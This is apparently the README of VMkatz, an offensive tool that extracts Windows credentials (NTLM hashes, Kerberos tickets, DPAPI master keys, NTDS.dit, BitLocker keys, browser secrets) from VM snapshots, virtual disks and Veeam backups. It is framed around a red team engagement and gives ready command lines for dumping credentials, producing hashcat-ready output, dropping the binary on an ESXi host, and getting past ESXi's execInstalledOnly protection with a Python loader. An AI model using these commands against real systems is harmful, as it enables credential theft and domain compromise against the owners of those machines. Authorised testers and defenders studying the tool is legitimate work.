
Извлечение учетных данных Windows непосредственно из снимков памяти виртуальных машин и виртуальных дисков
Идёт третья неделя red team engagement. Вы закрепились на NAS, подключённом к кластеру виртуализации — сотни гигабайт .vmdk, .vmsn, .sav лежат прямо здесь. Но ваш канал даёт 200 КБ/с. На эксфильтрацию одного 100-гигабайтного диска уйдёт шесть дней.
VMkatz существует потому, что вам не нужно эксфильтрировать то, что можно прочитать на месте. Он извлекает учётные данные Windows напрямую из файлов виртуальных машин — снимков памяти, виртуальных дисков, резервных копий Veeam: NTLM-хэши, билеты Kerberos, мастер-ключи DPAPI, секреты LSA, NTDS.dit, ключи BitLocker, секреты браузеров.
Единый статический бинарник, ~3 МБ. Забросьте его на хост ESXi, узел Proxmox или NAS. Укажите на папку виртуальной машины и уходите с учётными данными, а не с образами дисков.
Все 9 провайдеров учётных данных SSP, которые реализует mimikatz:
| Провайдер | Данные | Примечания |
|---|---|---|
| MSV1_0 | NT/LM-хэши, SHA1 | Резервное физическое сканирование для выгруженных записей |
| WDigest | Пароли в открытом виде | Обход связного списка + резервный вариант через .data |
| Kerberos | Ключи AES/RC4/DES, билеты (.kirbi/.ccache) | Обход AVL-дерева + карвинг билетов для освобождённых сессий |
| TsPkg | Пароли в открытом виде | Только сессии RDP |
| DPAPI | Кэш мастер-ключей (GUID + расшифрованный ключ) | SHA1 мастер-ключ для офлайн-расшифровки DPAPI |
| SSP | Учётные данные в открытом виде | SspCredentialList в msv1_0.dll |
| LiveSSP | Учётные данные в открытом виде | Требует livessp.dll (редко после Win8) |
| Credman | Сохранённые учётные данные | Перечисление через хэш-таблицу + одиночный список |
| CloudAP | Токены Azure AD | Обычно пусто при локальном входе |
Плюс: извлечение BitLocker FVEK из памяти (сканирование по пул-тегу FVEc/Cngb).
$DPAPImk$ — режимы 15300/15310/15900/15910)| Формат | Расширения | Источник | Статус |
|---|---|---|---|
| Снимки VMware | .vmsn + .vmem | Workstation, ESXi | Протестировано |
| Встроенные снимки VMware | .vmsn (без .vmem) | ESXi suspend | Протестировано |
| Сохранённые состояния VirtualBox | .sav | VirtualBox | Протестировано |
| Состояния savevm QEMU/KVM | автоопределение | Proxmox, QEMU | Протестировано |
| Дампы памяти ELF QEMU/KVM | .elf | virsh dump | Протестировано |
| Сохранённые состояния Hyper-V | .vmrs | Hyper-V 2016+ | Протестировано |
| Резервные копии Veeam | .vbk, .vib, .vrb | Veeam B&R | Протестировано |
| Виртуальные диски VMware | .vmdk (sparse + flat) | Workstation, ESXi | Протестировано |
| Виртуальные диски VirtualBox | .vdi | VirtualBox | Протестировано |
| Виртуальные диски QEMU/KVM | .qcow2 | QEMU, Proxmox | Протестировано |
| Виртуальные диски Hyper-V | .vhdx, .vhd | Hyper-V | Протестировано |
| Необработанные SCSI-устройства VMFS-5/6 | /dev/disks/... | ESXi (обходит блокировки файлов) | Протестировано |
| Блочные устройства LVM | /dev/... | Proxmox LVM-thin | Протестировано |
| Необработанные кусты реестра | SAM, SYSTEM, SECURITY | reg save | Протестировано |
| Необработанный NTDS.dit | ntds.dit + SYSTEM | Контроллер домена | Протестировано |
| Минидамп LSASS | .dmp | procdump, Task Manager | Протестировано |
| Каталоги виртуальных машин | любая папка | Автообнаружение всех файлов | Протестировано |
Целевая ОС: Windows Server 2003 — Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Формат | Флаг | Описание |
|---|---|---|
text | --format text (по умолчанию) | Полный дамп учётных данных с метаданными сессии |
brief | --format brief | Компактная сводка по одной строке на учётные данные |
ntlm | --format ntlm | Формат pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Необработанные хэши: режим 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Машиночитаемый, все поля |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Когда включена защита VIB (execInstalledOnly), используйте загрузчик Python — отключать эту настройку не требуется:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Подробности об обходе VIB, доступ к raw-устройствам VMFS и автообнаружение см. в docs/esxi.md.
VMkatz является модульным. Функции можно включать/отключать во время компиляции:
| Функция | Описание | По умолчанию |
|---|---|---|
vmware | Поддержка снапшотов VMware .vmsn/.vmem | Да |
vbox | Поддержка сохранённых состояний VirtualBox .sav | Да |
qemu | Дампы памяти QEMU/KVM ELF core + Proxmox savevm | Да |
hyperv | Поддержка дампов Hyper-V .vmrs/.bin/.raw | Да |
sam | Извлечение данных с диска (SAM/LSA/DCC2) + обработчики форматов дисков | Да |
ntds.dit | Извлечение AD из NTDS.dit. Требует sam | Да |
carve | Деградированное извлечение из частичной/усечённой памяти | Да |
dump | Дамп памяти процесса в виде minidump | Да |
vmfs | Raw-парсер VMFS-5/6 для SCSI-устройств ESXi. Требует sam | Да |
chrome | Извлечение секретов браузеров (Chromium + Firefox). Требует sam | Нет |
veeam | Поддержка резервных копий Veeam VBK/VIB/VRB. Требует sam | Нет |